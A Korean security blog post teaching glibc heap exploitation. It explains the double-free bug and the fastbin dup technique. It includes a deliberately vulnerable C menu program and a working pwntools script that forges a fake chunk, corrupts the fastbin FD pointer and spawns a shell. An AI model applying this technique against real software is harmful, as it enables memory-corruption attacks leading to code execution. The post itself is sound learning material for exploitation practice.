Double Free
Double Free는 해제된 힙 청크를 다시 해제할 때 발생하는 버그이다.
힙을 해제하면 bin이라는 연결 리스트에 추가되고, 이는 힙을 재할당할 때 참조된다.
해당 버그가 발생하면 연결 리스트에 중복된 힙 주소를 추가하기 때문에 두 개의 객체가 동일한 메모리를 사용할 수 있다.
// gcc -o dfb2 dfb2.c
#include <stdlib.h>
int main()
{
char *ptr = malloc(32); // 0x602010
char *ptr2 = malloc(32); // 0x602040
free(ptr);
free(ptr2);
free(ptr);
return 0;
}
Double Free를 발생시키는 코드이다.
모두 free 한 이후에 fastbin[1] 의 모습은 다음과 같다.
ptr(0x602000) -> ptr2(0x602030) -> ptr(0x602000)
만약 fastbin에서 Double Free가 발생한 후 같은 bin의 크기로 할당 요청이 들어온다면 0x602030, 0x602000, 0x602030 주소에 순차적으로 힙을 할당하여 두 개의 객체가 하나의 메모리를 사용할 수 있게 된다.
Fastbin dup
fastbin dup 란 Double Free 버그를 이용하여 fastbin freelist를 조작해 이미 할당된 메모리에 다시 힙 청크를 할당하는 공격 기법이다.
-> 이를 이용하면 해제된 fastbin 힙 청크의 FD를 조작해 임의의 주소에 힙 청크를 할당 가능
// gcc -o fastbin_dup2 fastbin_dup2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char name[16];
int overwrite_me;
int main()
{
int ch, idx;
int i = 0;
char *ptr[10];
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
printf("Name : ");
read(0, name, 16);
while (1) {
printf("> ");
scanf("%d", &ch);
switch(ch) {
case 1:
if( i >= 10 ) {
printf("Do not overflow\n");
exit(0);
}
ptr[i] = malloc(32);
printf("Data: ");
read(0, ptr[i], 32-1);
i++;
break;
case 2:
printf("idx: ");
scanf("%d", &idx);
free(ptr[idx]);
break;
case 3:
if( overwrite_me == 0xDEADBEEF ) {
system("/bin/sh");
}
break;
default:
break;
}
}
return 0;
}
위 코드는 32 바이트 크기의 힙을 할당, 해제할 수 있고 데이터를 입력할 수 있다.
익스플로잇 시나리오
1. 검증 우회를 위해 두 개의 힙을 할당
2. old와 p 포인터를 다르게 하여 Double Free를 발생시킴.
3. Double Free가 발생하여 데이터 입력 시 FD를 조작 가능. 데이터 입력 시 (overwrite_me 전역 변수의 주소-16 byte)를 FD 위치에 입력함.
4. 네 번째 할당 때 조작한 FD를 참조하여 할당하기 때문에 overwrite_me 전역 변수에 힙 청크가 할당된다. overwrite_me 전역 변수에 힙 청크가 할당되면 0xDEADBEEF 값을 입력하여 3번 메뉴를 통해 셸을 획득할 수 있다.
단, 이때 free된 chunk의 fd 위치에 overwrite_me 전역변수의 주소를 쓰면 안된다는 것이다.
fd 는 동일한 bin에 존재하는 다음 힙 청크 주소로, 메타 데이터를 포함하는 주소이다.
-> 우리가 사용하고 싶은 주소 - 16byte를 fd에 써주고, 우리가 사용하고 싶은 주소 - 8byte에 할당 받는 사이즈를 맞춰주는 사전작업을 해야 원하는 공간에 메모리를 할당 받을 수 있다.
from pwn import *
p = process("./fastbin_dup2")
elf = ELF('fastbin_dup2')
def add(data):
print p.sendlineafter(">","1")
print p.sendlineafter(":",str(data))
def free(idx):
print p.sendlineafter(">","2")
print p.sendlineafter(":",str(idx))
def getshell():
print p.sendlineafter(">","3")
fakechunk = p64(0)
fakechunk += p64(0x31)
p.sendlineafter("Name :", fakechunk)
add("AAAA") # 0
add("AAAA") # 1
free(0)
free(1)
free(0)
overwrite_me_addr = elf.symbols['overwrite_me']
fake_chunk_name = elf.symbols['name']
add(p64(fake_chunk_name)) # 0x602010 : FD overwrite
add("AAAA") # 0x602030
add("BBBB") # 0x602010
add(p64(0xDEADBEEF)) # Arbitrary allocate, write
getshell()
p.interactive()
name 전역 변수에 Fake chunk를 구성하여 overwrite_me 전역 변수에 힙 청크를 할당하고 0xDEADBEEF를 입력하여 셸을 획득할 수 있다.
prev_size : 0
size : 0x31
->fastbin에서는 prev_size에 대한 검증이 없기 때문에 Fake chunk의 prev_size에는 0을 입력. 이후에 할당하려는 힙의 크기는 0x20이기 때문에 힙 청크의 메타데이터 크기를 포함한 0x31을 size로 입력.
할당자는 fastbin에 배치된 메모리를 재할당 할때 해당 chunk의 size를 확인하고, fd를 확인해서 list를 갱신한다.
-> 즉, 해당 주소가 힙인지 스택인지는 혹은 전역변수 영역인지 확인하지 않기에 가능한 공격.
참고 자료
dreamhack - heap exploitation
lazenca.net/pages/viewpage.action?pageId=1148143
'Hacking > Pwnable' 카테고리의 다른 글
[Heap exploitation] Use After Free (0) | 2021.05.11 |
---|---|
[Heap exploitation] Heap Overflow (0) | 2021.05.08 |
[Pwnable] Heap3 (0) | 2021.05.06 |
[Pwnable] Heap2 (0) | 2021.05.05 |
[Pwnable] Heap1 (0) | 2021.05.05 |